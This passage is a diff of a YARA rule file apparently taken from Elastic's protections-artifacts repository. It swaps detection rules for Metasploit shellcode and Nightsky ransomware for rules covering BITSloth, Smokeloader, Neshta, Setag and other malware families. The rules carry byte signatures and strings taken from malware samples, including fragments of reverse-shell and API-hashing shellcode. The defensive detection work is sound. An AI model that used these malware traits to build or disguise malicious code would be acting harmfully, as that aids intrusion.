+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BITSloth.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507"
+		logic_hash = "8210dc28cf408f7f836aad3c32868ea21dd0862070c2c37d98b089a80be9285e"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f2aac3a538a921b78f7c2521adf65678830abab8ec8b360ac3dddae5fbc4756"
-		severity = 90
+		fingerprint = "520722d4502230eed76b0c53fffb90bd2b818256363bc1393f51c378ff6cdd9b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "\\NightSkyReadMe.hta" wide fullword
-		$a2 = ".nightsky" wide fullword
-		$a3 = "<h1 id=\"nightsky\"><center><span style=\"color: black; font-size: 48pt\">NIGHT SKY</span></center>" ascii fullword
-		$a4 = "URL:https://contact.nightsky.cyou" ascii fullword
+		$str_1 = "/%s/index.htm?RspID=%d" wide fullword
+		$str_2 = "/%s/%08x.rpl" wide fullword
+		$str_3 = "/%s/wu.htm" wide fullword
+		$str_4 = "GET_DESKDOP" wide fullword
+		$str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
+		$str_6 = "[U] update error..." wide fullword
+		$str_7 = "RMC_KERNEL ..." wide fullword
+		$seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
+		$seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
 
 	condition:
 		2 of them
 }
-rule ELASTIC_Windows_Ransomware_Nightsky_253C4D0D : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Getshell_F339D74C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Nightsky (Windows.Ransomware.Nightsky)"
+		description = "Detects Macos Trojan Getshell (MacOS.Trojan.Getshell)"
 		author = "Elastic Security"
-		id = "253c4d0d-157f-4929-9f0e-5830ebc377dc"
-		date = "2022-03-14"
-		modified = "2022-04-12"
+		id = "f339d74c-36f1-46e5-bf7d-22f49a0948a5"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Nightsky.yar#L24-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c940a35025dd3847f7c954a282f65e9c2312d2ada28686f9d1dc73d1c500224"
-		logic_hash = "ba9e6dab664e464e0fdc65bd8bdccc661846d85e7fd8fbf089e72e9e5b71fb17"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Getshell.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b2199c15500728a522c04320aee000938f7eb69d751a55d7e51a2806d8cd0fe7"
+		logic_hash = "77a409f1a0ab5f87a77a6b2ffa2d4ff7bd6d86c0f685c524e2083585bb3fb764"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "739529dfb1f8c8ab2a7f6a4b2b18b27dd2fcc38eda0f110897fc6cb5d64b1c92"
+		fingerprint = "fad5ca4f345c2c01a3d222f59bac8d5dacf818d4e018c8d411d86266a481a1a1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 43 B8 48 2B D9 49 89 43 C0 4C 8B E2 49 89 43 C8 4C 8B F1 49 89 }
+		$a = { 00 00 FF E0 E8 00 00 00 00 58 8B 80 4B 22 00 00 FF E0 55 89 E5 53 83 EC 04 E8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_A6E956C9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Beam_E41B243A : FILE MEMORY
 {
 	meta:
-		description = "Identifies the API address lookup function leverage by metasploit shellcode"
+		description = "Detects Windows Trojan Beam (Windows.Trojan.Beam)"
 		author = "Elastic Security"
-		id = "a6e956c9-799e-49f9-b5c5-ac68aaa2dc21"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "e41b243a-020f-485e-b4bc-4db9d593e7af"
+		date = "2021-12-07"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fb4e3e54618075d5ef6ec98d1ba9c332ce9f677f0879e07b34a2ca08b2180dd9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Beam.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "233a1f1dcbb679d31dab7744358b434cccabfc752baf53ba991388ced098f7c8"
+		logic_hash = "295837743ecfa51e1713d19cba24ff8885c8716201caac058ae8b2bc9e008e6c"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "21855599bc51ec2f71d694d4e0f866f815efe54a42842dfe5f8857811530a686"
-		threat_name = "Windows.Trojan.Metasploit"
+		fingerprint = "0863f858fcc03d9b5994e73ee3b9daf64b57b0eecd67b718eafa2ed162cf7878"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -55886,86 +60108,89 @@ rule ELASTIC_Windows_Trojan_Metasploit_A6E956C9 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 }
+		$a1 = { 69 70 22 3A 22 28 5B 30 2D 39 2E 5D 2B 29 }
+		$a2 = { 63 6F 75 6E 74 72 79 5F 63 6F 64 65 22 3A 22 28 5C 77 2A 29 }
+		$a3 = { 20 2F 66 20 26 20 65 72 61 73 65 20 }
+		$a4 = "\\BeamWinHTTP2\\Release\\BeamWinHTTP.pdb"
 
 	condition:
-		$a1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_38B8Ceec : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Beam_5A951D13 : FILE MEMORY
 {
 	meta:
-		description = "Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)."
+		description = "Detects Windows Trojan Beam (Windows.Trojan.Beam)"
 		author = "Elastic Security"
-		id = "38b8ceec-601c-4117-b7a0-74720e26bf38"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "5a951d13-9568-4a5f-bda3-645143bc16a1"
+		date = "2021-12-07"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8e3bc02661cedb9885467373f8120542bb7fc8b0944803bc01642fbc8426298b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Beam.yar#L24-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "233a1f1dcbb679d31dab7744358b434cccabfc752baf53ba991388ced098f7c8"
+		logic_hash = "3419b649717b69f07334bd966f438dd0b77f03572fe14f4b88ce95a2a86cae07"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 85
+		fingerprint = "e3de6b47e563ebfd735cdd56f5b4077a8923026520ecca0628c5704272ea52bb"
+		severity = 99
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
+		$a1 = { 24 40 8B CE 2B C8 3B CA 0F 42 D1 83 FF 10 8D 4C 24 18 0F 43 CB }
 
 	condition:
-		$a1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_7Bc0F998 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Smokeloader_4E31426E : FILE MEMORY
 {
 	meta:
-		description = "Identifies the API address lookup function leverage by metasploit shellcode"
+		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
 		author = "Elastic Security"
-		id = "7bc0f998-7014-4883-8a56-d5ee00c15aed"
-		date = "2021-03-23"
+		id = "4e31426e-d62e-4b6d-911b-4223e1f6adef"
+		date = "2021-07-21"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "29cb48086dbcd48bd83c5042ed78370e127e1ea5170ee7383b88659b31e896b5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Smokeloader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174"
+		logic_hash = "44ac7659964519ae72f83076bcd1b3e5244eb9cadd9a3b123dda78b0e9e07424"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 84
+		fingerprint = "cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 }
+		$a = { 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0 }
 
 	condition:
-		$a1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_F7F826B4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Smokeloader_4Ee15B92 : FILE MEMORY
 {
 	meta:
-		description = "Identifies metasploit kernel->user shellcode. Likely used in ETERNALBLUE and BlueKeep exploits."
+		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
 		author = "Elastic Security"
-		id = "f7f826b4-6456-4819-bc0c-993aeeb7e325"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "4ee15b92-c62f-42d2-bbba-1dac2fa5644f"
+		date = "2022-02-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2f5264e07c65d5ef4efe49a48c24ccef9a4b9379db581d2cf18e1131982e6f2f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Smokeloader.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "09b9283286463b35ea2d5abfa869110eb124eb8c1788eb2630480d058e82abf2"
+		logic_hash = "7d5ba6a4cc1f1b87f7ea1963b41749f5488197ea28b31f20a235091236250463"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9b07dc54d5015d0f0d84064c5a989f94238609c8167cae7caca8665930a20f81"
-		threat_name = "Windows.Trojan.Metasploit"
+		fingerprint = "5d2ed385c76dbb4c1c755ae88b68306086a199a25a29317ae132bc874b253580"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -55973,236 +60198,270 @@ rule ELASTIC_Windows_Trojan_Metasploit_F7F826B4 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 48 92 31 C9 51 51 49 89 C9 4C 8D 05 0? 00 00 00 89 CA 48 83 EC 20 FF D0 48 83 C4 30 C3 }
+		$a = { 24 34 30 33 33 8B 45 F4 5F 5E 5B C9 C2 10 00 55 89 E5 83 EC }
 
 	condition:
-		$a1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_24338919 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Smokeloader_Ea14B2A5 : FILE MEMORY
 {
 	meta:
-		description = "Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)."
+		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
 		author = "Elastic Security"
-		id = "24338919-8efe-4cf2-a23a-a3f22095b42d"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "ea14b2a5-ea0d-4da2-8190-dbfcda7330d9"
+		date = "2023-05-03"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "af8cceebdebca863019860afca5d7c6400b68c8450bc17b7d7b74aeab2d62d16"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Smokeloader.yar#L41-L60"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15fe237276b9c2c6ceae405c0739479d165b406321891c8a31883023e7b15d54"
+		logic_hash = "8a96985902f82979f1512d4d30cfa41fd23562b8f86bf2f722351ef2adf4365f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 80
+		fingerprint = "950ce9826fdff209b6e03c70a4f78b812d211a2a9de84bec0e5efe336323001b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
+		$a1 = { AC 41 80 01 AC 41 80 00 AC 41 80 00 AC 41 C0 00 AC 41 80 01 }
+		$a2 = { AC 41 80 00 AC 41 80 07 AC 41 80 00 AC 41 80 00 AC 41 80 00 }
 
 	condition:
-		$a1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_0F5A852D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Smokeloader_De52Ed44 : FILE MEMORY
 {
 	meta:
-		description = "Identifies 64 bit metasploit wininet reverse shellcode. May also be used by other malware families."
+		description = "Detects Windows Trojan Smokeloader (Windows.Trojan.Smokeloader)"
 		author = "Elastic Security"
-		id = "0f5a852d-cacd-43d7-8754-204b09afba2f"
-		date = "2021-04-07"
-		modified = "2021-08-23"
+		id = "de52ed44-062c-4b0d-9a41-1bfc31a8daa9"
+		date = "2023-05-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "11cddf2191a2f70222a0c8c591e387b4b5667bc432a2f686629def9252361c1d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Smokeloader.yar#L62-L81"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c689a384f626616005d37a94e6a5a713b9eead1b819a238e4e586452871f6718"
+		logic_hash = "95a60079a316016ca3f78f18e7920b962f5770bef4211dd70e37f45bbe069406"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "97daac4249e85a73d4e6a4450248e59e0d286d5e7c230cf32a38608f8333f00d"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 80
+		fingerprint = "950db8f87a81ef05cc2ecbfa174432ab31a3060c464836f3b38448bd8e5801be"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 }
+		$a1 = { 08 31 FF 89 7D CC 66 8C E8 66 85 C0 74 03 FF 45 CC FF 53 48 }
+		$a2 = { B0 8F 45 C8 8D 45 B8 89 38 8D 4D C8 6A 04 57 6A 01 51 57 57 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_C9773203 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Intfour_0Ca45Cd3 : FILE MEMORY
 {
 	meta:
-		description = "Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families."
+		description = "Detects Linux Exploit Intfour (Linux.Exploit.Intfour)"
 		author = "Elastic Security"
-		id = "c9773203-6d1e-4246-a1e0-314217e0207a"
-		date = "2021-04-07"
-		modified = "2021-08-23"
-		reference = "https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L121-L140"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1d6503ccf05b8e8b4368ed0fb2e57aa2be94151ce7e2445b5face7b226a118e9"
+		id = "0ca45cd3-089c-4d7f-9088-dc972c14bd9d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Intfour.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d32c5447aa5182b4be66b7a283616cf531a2fd3ba3dde1bc363b24d8b22682f"
+		logic_hash = "088d8daa9ba4f53c8de229282ed8a7b30b1e567687e7807ac6c3df9524dabba9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 10
+		fingerprint = "8926a8cfd7f3adf29e399a945592063039b80dcc0545b133b453aaf198d31461"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 }
+		$a = { 6D 28 63 6F 64 65 2C 20 31 30 32 34 2C 20 26 6E 65 65 64 6C 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_Dd5Ce989 : FILE MEMORY
+rule ELASTIC_Windows_Virus_Neshta_2A5A14C8 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Meterpreter DLL used by Metasploit"
+		description = "Detects Windows Virus Neshta (Windows.Virus.Neshta)"
 		author = "Elastic Security"
-		id = "dd5ce989-3925-4e27-97c1-3b8927c557e9"
-		date = "2021-04-14"
-		modified = "2021-08-23"
-		reference = "https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L142-L164"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "86cf98bf854b01a55e3f306597437900e11d429ac6b7781e090eeda3a5acb360"
-		logic_hash = "5c094979be1cd347ffee944816b819b6fbb62804b183a6120cd3a93d2759155b"
+		id = "2a5a14c8-27d8-4658-8941-0bb221d54ad3"
+		date = "2024-01-22"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Virus_Neshta.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f298214764ee9ab690cb4b376d8a7893edcd9c05a3c4e6f3a56010974a130bd7"
+		logic_hash = "0b5d0603f4c20a2368f697dd84cfe1790a5d0e5904c76066601c9e3d1b5ed1e1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "4fc7c309dca197f4626d6dba8afcd576e520dbe2a2dd6f7d38d7ba33ee371d55"
-		threat_name = "Windows.Trojan.Metasploit"
-		severity = 90
+		fingerprint = "4ca7b0c908d08bf8b2041d7b41be8569efa54db99ebf04c7ff290c6bcad7dc02"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "metsrv.x64.dll" fullword
-		$a2 = "metsrv.dll" fullword
-		$b1 = "ReflectiveLoader"
+		$a1 = { 44 65 6C 70 68 69 2D 74 68 65 20 62 65 73 74 2E 20 46 75 63 6B 20 6F 66 66 20 61 6C 6C 20 74 68 65 20 72 65 73 74 2E 20 4E 65 73 68 74 61 20 31 2E 30 20 4D 61 64 65 20 69 6E 20 42 65 6C 61 72 75 73 2E }
+		$a2 = { 55 8B EC 81 C4 64 FF FF FF 53 56 57 33 D2 89 95 64 FF FF FF 8B F8 33 C0 55 68 FC 6D 40 00 64 FF 30 64 89 20 8D 85 69 FF FF FF 50 68 97 00 00 00 E8 1B D3 FF FF 33 DB EB 5C 8B F3 81 E6 FF 00 00 }
 
 	condition:
-		1 of ($a*) and 1 of ($b*)
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_96233B6B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Setag_351Eeb76 : FILE MEMORY
 {
 	meta:
-		description = "Identifies another 64 bit API hashing function used by Metasploit."
+		description = "Detects Linux Trojan Setag (Linux.Trojan.Setag)"
 		author = "Elastic Security"
-		id = "96233b6b-d95a-4e0e-8f83-f2282a342087"
-		date = "2021-06-10"
-		modified = "2021-08-23"
+		id = "351eeb76-ccca-40d5-8ee3-e8daf6494dda"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L166-L185"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e7a2d966deea3a2df6ce1aeafa8c2caa753824215a8368e0a96b394fb46b753b"
-		logic_hash = "09a2b9414a126367df65322966b671fe7ea963cd65ef48e316c9d139ee502d31"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Setag.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3519d9e4bfa18c19b49d0fa15ef78151bd13db9614406c4569720d20830f3cbb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "40032849674714bc9eb020971dd9f27a07b53b8ff953b793cb3aad136256fd70"
-		threat_name = "Windows.Trojan.Metasploit"
+		fingerprint = "c6edc7ae898831e9cc3c92fcdce4cd5b4412de061575e6da2f4e07776e0885f5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 31 FF 0F B7 4A 26 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D }
+		$a = { 04 8B 45 F8 C1 E0 02 01 C2 8B 45 EC 89 02 8D 45 F8 FF 00 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_4A1C4Da8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Setag_01E2F79B : FILE MEMORY
 {
 	meta:
-		description = "Identifies Metasploit 64 bit reverse tcp shellcode."
+		description = "Detects Linux Trojan Setag (Linux.Trojan.Setag)"
 		author = "Elastic Security"
-		id = "4a1c4da8-837d-4ad1-a672-ddb8ba074936"
-		date = "2021-06-10"
-		modified = "2021-08-23"
+		id = "01e2f79b-fcbc-41d0-a68b-3a692b893f26"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Metasploit.yar#L187-L206"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22"
-		logic_hash = "9d3a3164ed1019dcb557cf20734a81be9964a555ddb2e0104f7202880b2ed177"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Setag.yar#L20-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b5e8486174026491341a750f6367959999bbacd3689215f59a62dbb13a45fcc"
+		logic_hash = "1e0336760f364acbbe0e8aec10bc7bfb48ed7e33cde56d8914617664cb93fd9b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987"
-		threat_name = "Windows.Trojan.Metasploit"
+		fingerprint = "4ea87a6ccf907babdebbbb07b9bc32a5437d0213f1580ea4b4b3f44ce543a5bd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08 }
+		$a = { 0C 8B 45 EC 89 45 FC 8D 55 E8 83 EC 04 8D 45 F8 50 8D 45 FC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Metasploit_91Bc5D7D : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Ursu_3C05F8Ab : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		description = "Detects Linux Cryptominer Ursu (Linux.Cryptominer.Ursu)"
 		author = "Elastic Security"
-		id = "91bc5d7d-31e3-4c02-82b3-a685194981f3"
-		date = "2021-08-02"
-		modified = "2021-10-04"
+		id = "3c05f8ab-d1b8-424b-99b7-1fe292ae68ff"
